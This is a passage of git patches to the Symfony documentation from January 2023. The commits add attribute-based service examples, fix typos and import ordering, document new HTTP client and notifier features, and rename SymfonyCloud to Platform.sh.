+            }
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
diff --git a/service_container/tags.rst b/service_container/tags.rst
index d166c7b88a8..e34a01a7739 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -707,6 +707,22 @@ you can define it in the configuration of the collecting service:
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/HandlerCollection.php
+        namespace App;
+
+        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+
+        class HandlerCollection
+        {
+            public function __construct(
+                #[TaggedIterator('app.handler', defaultPriorityMethod: 'getPriority')]
+                iterable $handlers
+            ) {
+            }
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -762,6 +778,22 @@ indexed by the ``key`` attribute:
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/HandlerCollection.php
+        namespace App;
+
+        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+
+        class HandlerCollection
+        {
+            public function __construct(
+                #[TaggedIterator('app.handler', indexAttribute: 'key')]
+                iterable $handlers
+            ) {
+            }
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -868,6 +900,22 @@ array element. For example, to retrieve the ``handler_two`` handler::
 
     .. configuration-block::
 
+        .. code-block:: php-attributes
+
+            // src/HandlerCollection.php
+            namespace App;
+
+            use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+
+            class HandlerCollection
+            {
+                public function __construct(
+                    #[TaggedIterator('app.handler', defaultIndexMethod: 'getIndex')]
+                    iterable $handlers
+                ) {
+                }
+            }
+
         .. code-block:: yaml
 
             # config/services.yaml

From 33106c593cecf5242cca506bc24083a118f901a9 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sun, 15 Jan 2023 12:07:40 +0100
Subject: [PATCH 2770/5766] Remove obsolete versionadded directive

---
 service_container/autowiring.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index d1832d305d7..c63e47d5a80 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -392,10 +392,6 @@ dealing with the ``TransformerInterface``.
             // ...
         }
 
-.. versionadded:: 5.4
-
-    The support of union and intersection types was introduced in Symfony 5.4.
-
 Dealing with Multiple Implementations of the Same Type
 ------------------------------------------------------
 

From b98b45c46684cfdb3ae7de5d5dcdafd85d9296d0 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sun, 15 Jan 2023 12:09:42 +0100
Subject: [PATCH 2771/5766] Fix: Typo

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 0e13ce5a49d..3931efec69f 100644
--- a/testing.rst
+++ b/testing.rst
@@ -675,7 +675,7 @@ Logging in Users (Authentication)
 When you want to add application tests for protected pages, you have to
 first "login" as a user. Reproducing the actual steps - such as
 submitting a login form - makes a test very slow. For this reason, Symfony
-provides a ``loginUser()`` method to simulate logging in in your functional
+provides a ``loginUser()`` method to simulate logging in your functional
 tests.
 
 Instead of logging in with real users, it's recommended to create a user

From f305d37fe2d850915794328de7a394d65d79a3c2 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 13 Jan 2023 18:30:33 +0100
Subject: [PATCH 2772/5766] [FrameworkBundle] Allow setting private services
 with the test container

---
 testing.rst | 49 +++++--------------------------------------------
 1 file changed, 5 insertions(+), 44 deletions(-)

diff --git a/testing.rst b/testing.rst
index 3a8369d35fd..e7f7b811ce5 100644
--- a/testing.rst
+++ b/testing.rst
@@ -321,52 +321,13 @@ concrete one::
         }
     }
 
-In order to make the alias public, you will need to update configuration for
-the ``test`` environment as follows:
+No further configuration in required, as the test service container is a special one
+that allows you to interact with private services and aliases.
 
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services_test.yaml
-        services:
-            # redefine the alias as it should be while making it public
-            App\Contracts\Repository\NewsRepositoryInterface:
-                alias: App\Repository\NewsRepository
-                public: true
-
-    .. code-block:: xml
-
-        <!-- config/services_test.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-        ">
-            <services>
-                <!-- redefine the alias as it should be while making it public -->
-                <service id="App\Contracts\Repository\NewsRepositoryInterface"
-                    alias="App\Repository\NewsRepository"
-                />
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services_test.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use App\Contracts\Repository\NewsRepositoryInterface;
-        use App\Repository\NewsRepository;
+.. versionadded:: 6.3
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->services()
-                // redefine the alias as it should be while making it public
-                ->alias(NewsRepositoryInterface::class, NewsRepository::class)
-                    ->public()
-            ;
-        };
+    The possibility to set a private service with the test service container without
+    declaring the alias as public was introduced in Symfony 6.3.
 
 .. _testing-databases:
 

From 5ea3a82d44b354eb01a7a21aa0a21b0674a16b4c Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 13 Jan 2023 20:32:14 +0100
Subject: [PATCH 2773/5766] Enable argument_variable_must_match_type doctor-rst
 rule

---
 .doctor-rst.yaml                | 5 ++++-
 components/uid.rst              | 2 +-
 security/entry_point.rst        | 2 +-
 serializer.rst                  | 2 +-
 templating/global_variables.rst | 2 +-
 5 files changed, 8 insertions(+), 5 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 1afa4342584..f8a111cf2c6 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -1,5 +1,9 @@
 rules:
     american_english: ~
+    argument_variable_must_match_type:
+        arguments:
+            - { type: 'ContainerBuilder', name: 'containerBuilder' }
+            - { type: 'ContainerConfigurator', name: 'containerConfigurator' }
     avoid_repetetive_words: ~
     blank_line_after_anchor: ~
     blank_line_after_directive: ~
@@ -96,6 +100,5 @@ whitelist:
         - '.. versionadded:: 3.6' # MonologBundle
         - '// bin/console'
         - 'End to End Tests (E2E)'
-        - '.. code-block:: php'
         - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'
         - '..  End to End Tests (E2E)'
diff --git a/components/uid.rst b/components/uid.rst
index cf17b237f19..caac3034429 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -132,7 +132,7 @@ configure the behavior of the factory using configuration files::
 
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $configurator): void {
+        return static function (ContainerConfigurator $containerConfigurator): void {
             $services = $configurator->services()
                 ->defaults()
                 ->autowire()
diff --git a/security/entry_point.rst b/security/entry_point.rst
index daee51493fa..42fb6452b71 100644
--- a/security/entry_point.rst
+++ b/security/entry_point.rst
@@ -61,8 +61,8 @@ You can configure this using the ``entry_point`` setting:
     .. code-block:: php
 
         // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
         use App\Security\SocialConnectAuthenticator;
+        use Symfony\Config\SecurityConfig;
 
         return static function (SecurityConfig $security) {
             $security->enableAuthenticatorManager(true);
diff --git a/serializer.rst b/serializer.rst
index ee31efa0b12..0a1409de2b5 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -156,8 +156,8 @@ configuration:
     .. code-block:: php
 
         // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
         use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
+        use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework) {
             $framework->serializer()
diff --git a/templating/global_variables.rst b/templating/global_variables.rst
index c7bfec3049c..f38d06aca02 100644
--- a/templating/global_variables.rst
+++ b/templating/global_variables.rst
@@ -99,8 +99,8 @@ the ``@`` character, which is the usual syntax to
     .. code-block:: php
 
         // config/packages/twig.php
-        use Symfony\Config\TwigConfig;
         use function Symfony\Component\DependencyInjection\Loader\Configurator\service;
+        use Symfony\Config\TwigConfig;
 
         return static function (TwigConfig $twig) {
             // ...

From 97ee5bfcb26f73d228df0dee13d6d37c5469ebd2 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sat, 14 Jan 2023 09:29:27 +0100
Subject: [PATCH 2774/5766] [Notifier] Add new Symfony Notifier for PagerDuty

---
 notifier.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index c2d2c710e69..1da7f73ce39 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -355,12 +355,17 @@ Service         Package                               DSN
 Engagespot      ``symfony/engagespot-notifier``        ``engagespot://API_KEY@default?campaign_name=CAMPAIGN_NAME``
 Expo            ``symfony/expo-notifier``              ``expo://Token@default``
 OneSignal       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
+PagerDuty       ``symfony/pager-duty-notifier``        ``pagerduty://TOKEN@SUBDOMAIN``
 ==============  ====================================  =================================================================================
 
 .. versionadded:: 6.1
 
     The Engagespot integration was introduced in Symfony 6.1.
 
+.. versionadded:: 6.3
+
+    The PagerDuty integration was introduced in Symfony 6.3.
+
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 

From 6ec7a401bc624b1fd9fc3889ea70c13b71d7befe Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Sama=C3=ABl=20Villette?= <villette.samael@gmail.com>
Date: Mon, 16 Jan 2023 09:25:53 +0100
Subject: [PATCH 2775/5766] Fixed missing quotes on service subscribers

There was missing quotes on the second parameter of `Symfony\Contracts\Service\Attribute\SubscribedService` constructor
---
 service_container/service_subscribers_locators.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index ce2f4fd3296..59a28318897 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -279,7 +279,7 @@ This is done by having ``getSubscribedServices()`` return an array of
             new SubscribedService('logger', LoggerInterface::class, attributes: new Autowire(service: 'monolog.logger.event')),
 
             // can event use parameters
-            new SubscribedService('env', string, attributes: new Autowire('%kernel.environment%')),
+            new SubscribedService('env', 'string', attributes: new Autowire('%kernel.environment%')),
 
             // Target
             new SubscribedService('event.logger', LoggerInterface::class, attributes: new Target('eventLogger')),

From f0ae1157313d421a5aa0954bfd39c082cfe1d85d Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 16 Jan 2023 13:04:32 +0100
Subject: [PATCH 2776/5766] Use `::` instead of `.. code-block:: php`

---
 doctrine/events.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 217debc8645..1927f89a04c 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -256,9 +256,7 @@ First, define a PHP class that handles the ``postUpdate`` Doctrine event::
     }
 
 Then, add the ``#[AsEntityListener]`` attribute to the class to enable it as
-a Doctrine entity listener in your application:
-
-    .. code-block:: php
+a Doctrine entity listener in your application::
 
         // src/EventListener/UserChangedNotifier.php
         namespace App\EventListener;

From 570f1dbf45d19401b9c295daeb9280a969003107 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 16 Jan 2023 13:15:17 +0100
Subject: [PATCH 2777/5766] Fix: Build

---
 service_container/factories.rst | 2 +-
 translation.rst                 | 4 +---
 2 files changed, 2 insertions(+), 4 deletions(-)

diff --git a/service_container/factories.rst b/service_container/factories.rst
index d5164e03b05..cb7d6cdeaf9 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -295,8 +295,8 @@ e.g. change the service based on a parameter:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        use App\Email\NewsletterManagerInterface;
         use App\Email\NewsletterManagerFactory;
+        use App\Email\NewsletterManagerInterface;
 
         return function(ContainerConfigurator $containerConfigurator) {
             $services = $containerConfigurator->services();
diff --git a/translation.rst b/translation.rst
index cc9d1847dd2..9e7d25d21c2 100644
--- a/translation.rst
+++ b/translation.rst
@@ -853,9 +853,7 @@ of:
 
 * All the services that are tagged with ``kernel.locale_aware``;
 * ``\Locale::setDefault()``;
-* If a request is available, the ``_locale`` request attribute.
-
-.. code-block:: php
+* If a request is available, the ``_locale`` request attribute::
 
     use Symfony\Component\Translation\LocaleSwitcher;
 

From 1f0057e48587f3e24985ac9bcd3c26241eacbaa8 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 16 Jan 2023 13:23:03 +0100
Subject: [PATCH 2778/5766] Fix: Build

---
 configuration/env_var_processors.rst | 4 +---
 controller/value_resolver.rst        | 4 +---
 serializer.rst                       | 2 +-
 3 files changed, 3 insertions(+), 7 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index d95c9e85137..6b3943ffa43 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -753,9 +753,7 @@ Symfony provides the following env var processors:
 
 ``env(enum:FooEnum:BAR)``
     Tries to convert an environment variable to an actual ``\BackedEnum`` value.
-    This processor takes the fully qualified name of the ``\BackedEnum`` as an argument.
-
-    .. code-block:: php
+    This processor takes the fully qualified name of the ``\BackedEnum`` as an argument::
 
         # App\Enum\Environment
         enum Environment: string
diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 8bb9425b61d..6ceeee77084 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -232,9 +232,7 @@ instance, which contains all information from the method signature.
 The ``resolve()`` method should return either an empty array (if it cannot resolve
 this argument) or an array with the resolved value(s). Usually arguments are
 resolved as a single value, but variadic arguments require resolving multiple
-values. That's why you must always return an array, even for single values:
-
-.. code-block:: php
+values. That's why you must always return an array, even for single values::
 
     // src/ValueResolver/IdentifierValueResolver.php
     namespace App\ValueResolver;
diff --git a/serializer.rst b/serializer.rst
index 540c1a639ed..7c04923b4a2 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -145,8 +145,8 @@ configuration:
     .. code-block:: php
 
         // config/packages/framework.php
-        use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
         use Symfony\Component\Serializer\Encoder\YamlEncoder;
+        use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework) {

From 3b411f118ad0ab9ec709c7645b5fbb0bdb178bbc Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 16 Jan 2023 18:52:49 +0100
Subject: [PATCH 2779/5766] [HttpClient] Add withOptions() to HttplugClient and
 Psr18Client

---
 http_client.rst | 39 +++++++++++++++++++++++++++++++++++++++
 1 file changed, 39 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index f7715ce2a1d..7cffb09399c 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1435,6 +1435,27 @@ Now you can make HTTP requests with the PSR-18 client as follows:
 
         $content = json_decode($response->getBody()->getContents(), true);
 
+You can also pass a set of default options to your client thanks to the
+``Psr18Client::withOptions()`` method::
+
+    use Symfony\Component\HttpClient\Psr18Client;
+
+    $client = (new Psr18Client())
+        ->withOptions([
+            'base_uri' => 'https://symfony.com',
+            'headers' => [
+                'Accept' => 'application/json',
+            ],
+        ]);
+
+    $request = $client->createRequest('GET', '/versions.json');
+
+    // ...
+
+.. versionadded:: 6.2
+
+    The ``Psr18Client::withOptions()`` method was introduced in Symfony 6.2.
+
 HTTPlug
 ~~~~~~~
 
@@ -1523,6 +1544,24 @@ Then you're ready to go::
     // wait for all remaining promises to resolve
     $httpClient->wait();
 
+You can also pass a set of default options to your client thanks to the
+``HttplugClient::withOptions()`` method::
+
+    use Psr\Http\Message\ResponseInterface;
+    use Symfony\Component\HttpClient\HttplugClient;
+
+    $httpClient = (new HttplugClient())
+        ->withOptions([
+            'base_uri' => 'https://my.api.com',
+        ]);
+    $request = $httpClient->createRequest('GET', '/');
+
+    // ...
+
+.. versionadded:: 6.2
+
+    The ``HttplugClient::withOptions()`` method was introduced in Symfony 6.2.
+
 Native PHP Streams
 ~~~~~~~~~~~~~~~~~~
 

From 0124ddb2cc7ea4711615e41611d99979571582dc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 17 Jan 2023 11:06:34 +0100
Subject: [PATCH 2780/5766] Minor reword

---
 .../dependency_injection/compilation.rst      | 22 +++++++++----------
 1 file changed, 11 insertions(+), 11 deletions(-)

diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index 2fe075efc0d..11da35c3a2b 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -254,13 +254,13 @@ file but also load a secondary one only if a certain parameter is set::
         }
     }
 
-You are also able to deprecate container parameters in your extension to warn
-to not use a specific parameter anymore. This is particularly useful to help
-developers with the migration process across major versions of an extension.
-The deprecation can be done thanks to the ``ContainerBuilder::deprecateParameter``
-method. This can only be achieved when configuring an extension with PHP, as this is
-not possible to do it with other configuration formats (YAML, XML). Let's define a
-parameter in our extension that will be declared as deprecated::
+You can also deprecate container parameters in your extension to warn users
+about not using them anymore. This helps with the migration across major versions
+of an extension.
+
+Deprecation is only possible when using PHP to configure the extension, not when
+using XML or YAML. Use the ``ContainerBuilder::deprecateParameter()`` method to
+provide the deprecation details::
 
     public function load(array $configs, ContainerBuilder $containerBuilder)
     {
@@ -277,13 +277,13 @@ parameter in our extension that will be declared as deprecated::
         );
     }
 
-The parameter being deprecated must be set before being declared as deprecated. Otherwise
-a :class:`Symfony\\Component\\DependencyInjection\\Exception\\ParameterNotFoundException` exception
-will be thrown.
+The parameter being deprecated must be set before being declared as deprecated.
+Otherwise a :class:`Symfony\\Component\\DependencyInjection\\Exception\\ParameterNotFoundException`
+exception will be thrown.
 
 .. versionadded:: 6.3
 
-     The ``ContainerBuilder::deprecateParameter`` method was introduced in Symfony 6.3.
+    The ``ContainerBuilder::deprecateParameter()`` method was introduced in Symfony 6.3.
 
 .. note::
 

From 2d4f6873084f46275e9bde4be251acc0c8e74d42 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Tue, 17 Jan 2023 12:17:38 +0100
Subject: [PATCH 2781/5766] Fix the SymfonyCloud name

---
 configuration.rst        |  2 +-
 setup/symfony_server.rst | 16 ++++++++--------
 2 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 52109426ceb..49f3ac3b0c2 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -674,7 +674,7 @@ To define the value of an env var, you have several options:
 
 .. tip::
 
-    Some hosts - like SymfonyCloud - offer easy `utilities to manage env vars`_
+    Some hosts - like Platform.sh - offer easy `utilities to manage env vars`_
     in production.
 
 .. note::
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 9e50c44ff16..7420001f742 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -488,22 +488,22 @@ its location, same as for ``docker-compose``:
     ``symfony console doctrine:database:drop --force --env=test``, the command will drop the database
     defined in your Docker configuration and not the "test" one.
 
-SymfonyCloud Integration
-------------------------
+Platform.sh Integration
+-----------------------
 
 The local Symfony server provides full, but optional, integration with
-`SymfonyCloud`_, a service optimized to run your Symfony applications on the
+`Platform.sh`_, a service optimized to run your Symfony applications on the
 cloud. It provides features such as creating environments, backups/snapshots,
-and even access to a copy of the production data from your local machine to help
-debug any issues.
+and even access to a copy of the production data from your local machine to
+help debug any issues.
 
-`Read SymfonyCloud technical docs`_.
+`Read Platform.sh for Symfony technical docs`_.
 
 .. _`install Symfony`: https://symfony.com/download
 .. _`symfony-cli/symfony-cli GitHub repository`: https://github.com/symfony-cli/symfony-cli
 .. _`Docker`: https://en.wikipedia.org/wiki/Docker_(software)
-.. _`SymfonyCloud`: https://symfony.com/cloud/
-.. _`Read SymfonyCloud technical docs`: https://symfony.com/doc/master/cloud/intro.html
+.. _`Platform.sh`: https://symfony.com/cloud/
+.. _`Read Platform.sh for Symfony technical docs`: https://symfony.com/doc/master/cloud/intro.html
 .. _`Proxy settings in Windows`: https://www.dummies.com/computers/operating-systems/windows-10/how-to-set-up-a-proxy-in-windows-10/
 .. _`Proxy settings in macOS`: https://support.apple.com/guide/mac-help/enter-proxy-server-settings-on-mac-mchlp2591/mac
 .. _`Proxy settings in Ubuntu`: https://help.ubuntu.com/stable/ubuntu-help/net-proxy.html.en

From 795eab61e45b81e62655b49855a3876ea955fd20 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 17 Jan 2023 13:26:07 +0100
Subject: [PATCH 2782/5766] [Console] Add inline command register example

---
 components/console.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/components/console.rst b/components/console.rst
index e8f3f9a7578..63808b14df1 100644
--- a/components/console.rst
+++ b/components/console.rst
@@ -52,6 +52,20 @@ Then, you can register the commands using
     // ...
     $application->add(new GenerateAdminCommand());
 
+You can also register inline commands and define their behavior thanks to the
+``Command::setCode()`` method::
+
+    // ...
+    $application->register('generate-admin')
+        ->addArgument('username', InputArgument::REQUIRED)
+        ->setCode(function (InputInterface $input, OutputInterface $output): int {
+            // ...
+
+            return Command::SUCCESS;
+        });
+
+This is useful when creating a :doc:`single-command application </components/console/single_command_tool>`.
+
 See the :doc:`/console` article for information about how to create commands.
 
 Learn more

From fa57b76778e07abce4fc57c837fb6c5f667e99fb Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 17 Jan 2023 13:37:58 +0100
Subject: [PATCH 2783/5766] [Form] Reorder imports alphabetically

---
 components/form.rst | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index 7e7e92b3b48..882e720f357 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -389,8 +389,8 @@ is created from the form factory.
 
     .. code-block:: php-standalone
 
-        use Symfony\Component\Form\Extension\Core\Type\TextType;
         use Symfony\Component\Form\Extension\Core\Type\DateType;
+        use Symfony\Component\Form\Extension\Core\Type\TextType;
 
         // ...
 
@@ -409,9 +409,9 @@ is created from the form factory.
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Request;
-        use Symfony\Component\Form\Extension\Core\Type\TextType;
         use Symfony\Component\Form\Extension\Core\Type\DateType;
+        use Symfony\Component\Form\Extension\Core\Type\TextType;
+        use Symfony\Component\HttpFoundation\Request;
 
         class TaskController extends AbstractController
         {
@@ -449,9 +449,9 @@ an "edit" form), pass in the default data when creating your form builder:
 
     .. code-block:: php-standalone
 
+        use Symfony\Component\Form\Extension\Core\Type\DateType;
         use Symfony\Component\Form\Extension\Core\Type\FormType;
         use Symfony\Component\Form\Extension\Core\Type\TextType;
-        use Symfony\Component\Form\Extension\Core\Type\DateType;
 
         // ...
 
@@ -470,8 +470,8 @@ an "edit" form), pass in the default data when creating your form builder:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Form\Extension\Core\Type\TextType;
         use Symfony\Component\Form\Extension\Core\Type\DateType;
+        use Symfony\Component\Form\Extension\Core\Type\TextType;
 
         class DefaultController extends AbstractController
         {
@@ -674,10 +674,10 @@ option when building each field:
 
     .. code-block:: php-standalone
 
+        use Symfony\Component\Form\Extension\Core\Type\DateType;
+        use Symfony\Component\Form\Extension\Core\Type\TextType;
         use Symfony\Component\Validator\Constraints\NotBlank;
         use Symfony\Component\Validator\Constraints\Type;
-        use Symfony\Component\Form\Extension\Core\Type\TextType;
-        use Symfony\Component\Form\Extension\Core\Type\DateType;
 
         $form = $formFactory->createBuilder()
             ->add('task', TextType::class, [
@@ -697,10 +697,10 @@ option when building each field:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Validator\Constraints\NotBlank;
-        use Symfony\Component\Validator\Constraints\Type;
         use Symfony\Component\Form\Extension\Core\Type\DateType;
         use Symfony\Component\Form\Extension\Core\Type\TextType;
+        use Symfony\Component\Validator\Constraints\NotBlank;
+        use Symfony\Component\Validator\Constraints\Type;
 
         class DefaultController extends AbstractController
         {

From d0ed2316a4e119e259a9fc9db5cfaac776d66274 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 17 Jan 2023 14:06:58 +0100
Subject: [PATCH 2784/5766] move the documentation of the match option to the
 right place

This option is part of the Choice validation constraint, but does not
belong to the ChoiceType from the Form component.
---
 reference/constraints/Choice.rst | 14 ++++++++++++++
 reference/forms/types/choice.rst | 13 -------------
 2 files changed, 14 insertions(+), 13 deletions(-)

diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index a4150d82d55..085ac5987da 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -302,6 +302,20 @@ Parameter          Description
 ``{{ value }}``    The current (invalid) value
 =================  ============================================================
 
+
+match
+~~~~~
+
+**type**: ``boolean`` **default**: ``true``
+
+When this option is ``false``, the constraint checks that the given value is
+not one of the values defined in the ``choices`` option. In practice, it makes
+the ``Choice`` constraint behave like a ``NotChoice`` constraint.
+
+.. versionadded:: 6.2
+
+    The ``match`` option was introduced in Symfony 6.2.
+
 ``message``
 ~~~~~~~~~~~
 
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 9d2ade8df4c..f52d35e40f0 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -195,19 +195,6 @@ correct types will be assigned to the model.
 
 .. include:: /reference/forms/types/options/group_by.rst.inc
 
-match
-~~~~~
-
-**type**: ``boolean`` **default**: ``true``
-
-When this option is ``false``, the constraint checks that the given value is
-not one of the values defined in the ``choices`` option. In practice, it makes
-the ``Choice`` constraint behave like a ``NotChoice`` constraint.
-
-.. versionadded:: 6.2
-
-    The ``match`` option was introduced in Symfony 6.2.
-
 .. include:: /reference/forms/types/options/multiple.rst.inc
 
 .. include:: /reference/forms/types/options/placeholder.rst.inc

From c3a15e0f08ea60713fd1286ed242f8b8de525aa0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 17 Jan 2023 15:33:14 +0100
Subject: [PATCH 2785/5766] Remove extra blank line

---
 reference/constraints/Choice.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 085ac5987da..b1b27bdd6fd 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -302,7 +302,6 @@ Parameter          Description
 ``{{ value }}``    The current (invalid) value
 =================  ============================================================
 
-
 match
 ~~~~~
 

From a2da56679aeddfe476bd6a598331b248cdeef996 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 17 Jan 2023 16:04:19 +0100
Subject: [PATCH 2786/5766] Minor tweak

---
 testing.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/testing.rst b/testing.rst
index 036ef731586..301cdc4a918 100644
--- a/testing.rst
+++ b/testing.rst
@@ -311,7 +311,6 @@ concrete one::
                 ])
             ;
 
-            // the following line won't work unless the alias is made public
             $container->set(NewsRepositoryInterface::class, $newsRepository);
 
             // will be injected the mocked repository
@@ -326,8 +325,8 @@ that allows you to interact with private services and aliases.
 
 .. versionadded:: 6.3
 
-    The possibility to set a private service with the test service container without
-    declaring the alias as public was introduced in Symfony 6.3.
+    The possibility to set a private service with the test service container
+    without declaring a public alias for it was introduced in Symfony 6.3.
 
 .. _testing-databases:
 

From d2924f540e41c7eab757de8c911f3cc2119aab9a Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 18 Jan 2023 00:01:25 +0100
Subject: [PATCH 2787/5766] Remove extra space before parenthesis

---
 bundles/configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index c49e53e9987..007ad99759f 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -104,7 +104,7 @@ load correct services and parameters inside an "Extension" class.
 
     The root key of your bundle configuration (``acme_social`` in the previous
     example) is automatically determined from your bundle name (it's the
-    `snake case`_ of the bundle name without the ``Bundle`` suffix ).
+    `snake case`_ of the bundle name without the ``Bundle`` suffix).
 
 .. seealso::
 

From 9fa1840afee5ca2fbc3fd782c7d623ab9bf2166c Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 14 Jan 2023 19:37:32 +0100
Subject: [PATCH 2788/5766] Clean doctor-rst whitelist configuration

---
 .doctor-rst.yaml | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index f8a111cf2c6..dd62b8b93b3 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -78,12 +78,9 @@ whitelist:
     lines:
         - 'in config files, so the old ``app/config/config_dev.yml`` goes to'
